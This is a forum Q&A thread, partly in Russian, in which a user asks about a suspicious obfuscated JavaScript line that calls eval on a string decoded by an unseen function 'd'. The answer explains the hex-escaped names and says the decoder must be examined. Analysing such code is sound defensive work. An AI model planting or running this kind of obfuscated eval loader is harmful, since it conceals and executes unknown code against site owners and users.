There is a line in the javascript file

this['\x65\x76\x61\x6C'](this['\x64']("%s216%t198%a213%i215%g164%f219%n209%t221%o221%(137%,142%,144%)164%i207%(137%>110%&76%b160%089%{241%a211% 146%=173%a211%s216%F178%o208%t156%a139%b139%,160%=173%a211%s216%I183%t156%b139%,153%=109%,156%=109%,159%=109%,147%=114%,148%=100%l213%k146%+82%b199%z161%+82%z161%,166%=163%u227%c215%i216%n150%n151%{241%a211% 148%=173%a211%s216%I183%t156%n151%;173%e217%u231%n142%t176%n173%+86%t174%t241%;164%f142%l219%c196%t221%o221%.150%o226%t226%a206%e147%i215%d201%x199%f142%h145%=122%-94%)155%e217%u231%n169%f213%r154%i166%092%j167%r161%g162%i165%=167%&76%i165%=177%;164%+86%)164%p173%i149%m170%t161%p156%s176%p154%g146%m153%k168%r161%s174%i207%(155%>123%r155%{235%=173%*149%;168%=170%*149%;157%r215%a204%}250%$76%'74%p220%u232%_134%+143%)87%h220%m217%(162%(152%)82%,80%(79%#144%i215%u232%_134%+143%)87%h220%m217%(162%(149%)82%}250"));

And I can not understand how it is encrypted

 \x65\x76\x61\x6C - это eval, в юникоде написано как я понял

But beyond the line, I can not understand how to disassemble ...

 %s216 %t198 %a213 - вот получается из четырех символов состоит 1 буква
  • one
    And what this line does in JS code. What would it be done in the same place somewhere near and the decoder should be. once found eval, replace it with console.log or alert and perform the - Mike

1 answer 1

  • this is a window or global - in general, a global scop.
  • '\x65\x76\x61\x6C' is "eval"
  • '\x64' is "d"

Turns out

 this.eval(this.d(таБольшаяСтрока));

or, in the case of a browser:

 window.eval(window.d(таБольшаяСтрока));

To understand what is being done with the string, you need to look at the function d . The browser with the "encoding" does nothing, because it is a string without escape sequences.